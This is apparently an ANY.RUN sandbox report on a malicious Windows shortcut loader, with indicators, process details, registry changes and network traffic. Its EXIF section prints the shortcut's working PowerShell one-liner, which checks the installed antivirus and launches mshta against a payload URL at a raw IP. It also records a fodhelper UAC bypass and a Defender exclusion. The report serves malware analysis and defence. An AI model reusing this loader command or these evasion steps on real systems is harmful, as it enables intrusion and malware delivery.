download:

/xam/cpa.lnk

Full analysis: https://app.any.run/tasks/56776c24-659a-4333-ab96-d98f65d3d046
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: January 30, 2025, 14:44:40
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
opendir
uac
loader
Indicators:
MIME: application/x-ms-shortcut
File info: MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, Icon number=13, Unicoded, HasExpIcon "%ProgramFiles%\Microsoft\Edge\Application\msedge.exe", length=0, window=showminnoactive, IDListSize 0x020d, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\"
MD5:

6E38AF9ED85A6C6A021DF773DD858D29

SHA1:

794BEB93ECB31CD9F95A75DB1650FCCB34C19B36

SHA256:

2A5306C9426621C27EDF6814B01CDDDB679996D88FB6033E4B226334B8EA08B5

SSDEEP:

24:8NTZsx/Tff1efVKayWtM2lgO+/CWn1cI1tMwehm1MrDbruddS9dbEQCab/:8qTX1e3ztM2ly1zM1IMfbSdo9aQCab

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6220)
      • powershell.exe (PID: 7072)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 6220)

    • Changes powershell execution policy (Unrestricted)

      • mshta.exe (PID: 7048)
      • cmd.exe (PID: 7084)

    • Bypass User Account Control (fodhelper)

      • fodhelper.exe (PID: 7020)
      • fodhelper.exe (PID: 3732)

    • Adds path to the Windows Defender exclusion list

      • cmd.exe (PID: 7084)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 5628)

  • SUSPICIOUS

    • Cryptography encrypted command line is found

      • powershell.exe (PID: 6220)

    • Executes script without checking the security policy

      • powershell.exe (PID: 6220)
      • powershell.exe (PID: 7072)

    • Connects to the server without a host name

      • mshta.exe (PID: 7048)
      • powershell.exe (PID: 5628)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 6220)

    • Base64-obfuscated command line is found

      • mshta.exe (PID: 7048)

    • Manipulates environment variables

      • powershell.exe (PID: 6488)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 7048)
      • powershell.exe (PID: 6220)
      • cmd.exe (PID: 7084)

    • The process bypasses the loading of PowerShell profile settings

      • mshta.exe (PID: 7048)
      • cmd.exe (PID: 7084)

    • Suspicious use of symmetric encryption in PowerShell

      • mshta.exe (PID: 7048)

    • Found IP address in command line

      • powershell.exe (PID: 6488)

    • Application launched itself

      • powershell.exe (PID: 6220)
      • cmd.exe (PID: 6672)
      • cmd.exe (PID: 5040)

    • Executing commands from a ".bat" file

      • powershell.exe (PID: 5628)
      • cmd.exe (PID: 6672)
      • fodhelper.exe (PID: 7020)
      • fodhelper.exe (PID: 3732)
      • cmd.exe (PID: 5040)

    • Starts CMD.EXE for commands execution

      • fodhelper.exe (PID: 7020)
      • cmd.exe (PID: 6672)
      • fodhelper.exe (PID: 3732)
      • cmd.exe (PID: 5040)
      • powershell.exe (PID: 5628)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 3832)
      • cmd.exe (PID: 2676)
      • cmd.exe (PID: 4160)
      • cmd.exe (PID: 6928)

    • Script adds exclusion path to Windows Defender

      • cmd.exe (PID: 7084)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 5628)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 5628)

    • The process creates files with name similar to system file names

      • powershell.exe (PID: 5628)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 5628)

    • Process requests binary or script from the Internet

      • powershell.exe (PID: 5628)

    • The executable file from the user directory is run by the CMD process

      • svchost.exe (PID: 6396)

    • Potential Corporate Privacy Violation

      • powershell.exe (PID: 5628)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6220)

    • Connects to unusual port

      • svchost.exe (PID: 6396)

  • INFO

    • Checks proxy server information

      • mshta.exe (PID: 7048)
      • powershell.exe (PID: 5628)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6220)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 7048)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 6220)

    • Reads security settings of Internet Explorer

      • fodhelper.exe (PID: 7020)
      • fodhelper.exe (PID: 3732)

    • Changes the registry key values via Powershell

      • cmd.exe (PID: 7084)

    • Disables trace logs

      • powershell.exe (PID: 5628)

    • Application launched itself

      • Acrobat.exe (PID: 1572)
      • AcroCEF.exe (PID: 1400)

    • Checks supported languages

      • svchost.exe (PID: 6396)

    • Reads the computer name

      • svchost.exe (PID: 6396)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 7072)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7072)

    • Reads the machine GUID from the registry

      • svchost.exe (PID: 6396)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, Description, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon
FileAttributes: (none)
TargetFileSize: -
IconIndex: 13
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: powershell.exe
Description: here is the example i do
RelativePath: ..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLineArguments: $S = Get-WmiObject -Namespace 'root\SecurityCenter2' -Class AntiVirusProduct -ComputerName $env:computername;foreach($W in $S ){if ($W.displayName -replace 'Windows Defender', ''){Exit}}.(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')http://38.255.44.110/cpa
IconFileName: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
180
Monitored processes
47
Malicious processes
12
Suspicious processes
1

Behavior graph

Click at the process to see the details
start powershell.exe no specs conhost.exe no specs mshta.exe powershell.exe no specs conhost.exe no specs powershell.exe cmd.exe no specs reg.exe no specs reg.exe no specs fodhelper.exe no specs fodhelper.exe no specs fodhelper.exe cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs cmd.exe no specs reg.exe no specs reg.exe no specs acrobat.exe acrobat.exe no specs cmd.exe no specs reg.exe no specs reg.exe no specs fodhelper.exe no specs fodhelper.exe no specs fodhelper.exe cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs svchost.exe cmd.exe no specs reg.exe no specs reg.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
448"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1240,i,3568335805383341116,4399100992737126279,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
624"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=renderer --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --touch-events=enabled --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=2968 --field-trial-handle=1240,i,3568335805383341116,4399100992737126279,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:1C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
1400"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16514043C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—Acrobat.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
1572"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\admin\AppData\Roaming\CPA.pdf"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
powershell.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
MEDIUM
Description:
Adobe Acrobat
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrobat.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
2600\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2676"C:\WINDOWS\system32\cmd.exe" /c "REG DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F && REG DELETE HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT /F"C:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
3000"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" --type=renderer /prefetch:1 "C:\Users\admin\AppData\Roaming\CPA.pdf"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe—Acrobat.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe Acrobat
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrobat.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
3092"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=gpu-process --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --lang=en-US --gpu-preferences=UAAAAAAAAADgACAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1564 --field-trial-handle=1240,i,3568335805383341116,4399100992737126279,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:2C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Exit code:
0
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
3540FoDHelper.exeC:\Windows\System32\fodhelper.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Features On Demand Helper
Exit code:
3221226540
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\fodhelper.exe
c:\windows\system32\ntdll.dll
3732"C:\WINDOWS\system32\fodhelper.exe" C:\Windows\System32\fodhelper.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Features On Demand Helper
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\fodhelper.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\combase.dll
Total events
37 623
Read events
37 491
Write events
118
Delete events
14

Modification events

(PID) Process:(7048) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(7048) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(7048) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(7020) fodhelper.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Operation:writeName:SlowContextMenuEntries
Value:
6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C0000000000000468D0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000
(PID) Process:(7020) fodhelper.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(7020) fodhelper.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(7020) fodhelper.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(7020) fodhelper.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Users\admin\AppData\Local\Temp\r.bat.FriendlyAppName
Value:
r.bat
(PID) Process:(6448) reg.exeKey:HKEY_CLASSES_ROOT\MS-Settings\CurVer
Operation:delete keyName:(default)
Value:
(PID) Process:(6448) reg.exeKey:HKEY_CLASSES_ROOT\MS-Settings
Operation:delete keyName:(default)
Value:
Executable files
1
Suspicious files
186
Text files
19
Unknown types
0

Dropped files

PID
Process
Filename
Type
6488powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:5B901D86C8999162F8A1B8E6048B9C6F
SHA256:C1F0DC74525BD2D258CFDF4E783D5307818FB70327EAC23D6C4F66FBC49021D3
7048mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\cpa[1]binary
MD5:E1FCEFD6A21020E2F539E38436BD429E
SHA256:1D1E2F3CD8F716F82FEA6442018F1B56B1FCDE8812B0D796A213F2E5BD7A66B8
7072powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:4543AA30D0435AD701F28E13C482D2D5
SHA256:C2A4A747385F97A04080828889224AB2C85E2FC78003305AD74916BBB7824762
5628powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_b1cbrvf2.og5.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6220powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_xftbiwka.azl.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7072powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\L0UOPUSIVEPE4SBOHQYY.tempbinary
MD5:4543AA30D0435AD701F28E13C482D2D5
SHA256:C2A4A747385F97A04080828889224AB2C85E2FC78003305AD74916BBB7824762
5628powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4ptj50q0.jtg.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5628powershell.exeC:\Users\admin\AppData\Local\Temp\r.battext
MD5:D2E7BE5479BEEC928BE0AAF153265ECD
SHA256:4E3210B733440EFADEF5E21AD1A3331C8E8C63EEC4B34EF4A6B40C17A773F491
7072powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF140609.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
7072powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_j2mvkhlk.goe.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
11
TCP/UDP connections
195
DNS requests
22
Threats
8

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3296
svchost.exe
GET
200
23.48.23.159:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
3296
svchost.exe
GET
200
23.52.120.96:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
7048
mshta.exe
GET
200
38.255.44.110:80
http://38.255.44.110/cpa
unknown
—
—
unknown
4264
SIHClient.exe
GET
200
23.218.209.163:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
4264
SIHClient.exe
GET
200
23.218.209.163:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
5628
powershell.exe
GET
200
38.255.44.110:80
http://38.255.44.110/CPA.pdf
unknown
—
—
unknown
1572
Acrobat.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAbY2QTVWENG9oovp1QifsQ%3D
unknown
—
—
whitelisted
6600
backgroundTaskHost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
51.104.136.2:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3296
svchost.exe
23.48.23.159:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4712
MoUsoCoreWorker.exe
51.104.136.2:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3296
svchost.exe
23.52.120.96:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5064
SearchApp.exe
2.16.110.145:443
www.bing.com
Akamai International B.V.
DE
whitelisted
—
—
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
1076
svchost.exe
23.35.238.131:443
go.microsoft.com
AKAMAI-AS
DE
whitelisted
4712
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1176
svchost.exe
20.190.160.128:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.185.174
whitelisted
crl.microsoft.com
  • 23.48.23.159
  • 23.48.23.169
  • 23.48.23.180
  • 23.48.23.176
  • 23.48.23.161
  • 23.48.23.185
  • 23.48.23.168
  • 23.48.23.173
  • 23.48.23.166
whitelisted
www.microsoft.com
  • 23.52.120.96
  • 23.218.209.163
whitelisted
www.bing.com
  • 2.16.110.145
  • 2.16.110.153
  • 2.16.110.147
  • 2.16.110.144
  • 2.16.110.160
  • 2.16.110.137
  • 2.16.110.131
  • 2.16.110.130
  • 2.16.110.138
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
go.microsoft.com
  • 23.35.238.131
whitelisted
settings-win.data.microsoft.com
  • 51.124.78.146
whitelisted
login.live.com
  • 20.190.160.128
  • 40.126.32.134
  • 20.190.160.64
  • 20.190.160.3
  • 20.190.160.132
  • 20.190.160.66
  • 40.126.32.136
  • 20.190.160.17
whitelisted
slscr.update.microsoft.com
  • 4.175.87.197
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.85.23.206
whitelisted

Threats

PID
Process
Class
Message
5628
powershell.exe
Potentially Bad Traffic
ET INFO Dotted Quad Host PDF Request
5628
powershell.exe
Potentially Bad Traffic
ET HUNTING Suspicious svchost.exe in URI - Possible Process Dump/Trojan Download
5628
powershell.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
5628
powershell.exe
A Network Trojan was detected
ET MALWARE Possible Kelihos.F EXE Download Common Structure
5628
powershell.exe
Potential Corporate Privacy Violation
ET INFO PE EXE or DLL Windows file download HTTP
5628
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
5628
powershell.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
5628
powershell.exe
Potentially Bad Traffic
ET INFO Embedded Executable File in PDF - This Program Cannot Be Run in DOS Mode
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
/xam/cpa.lnk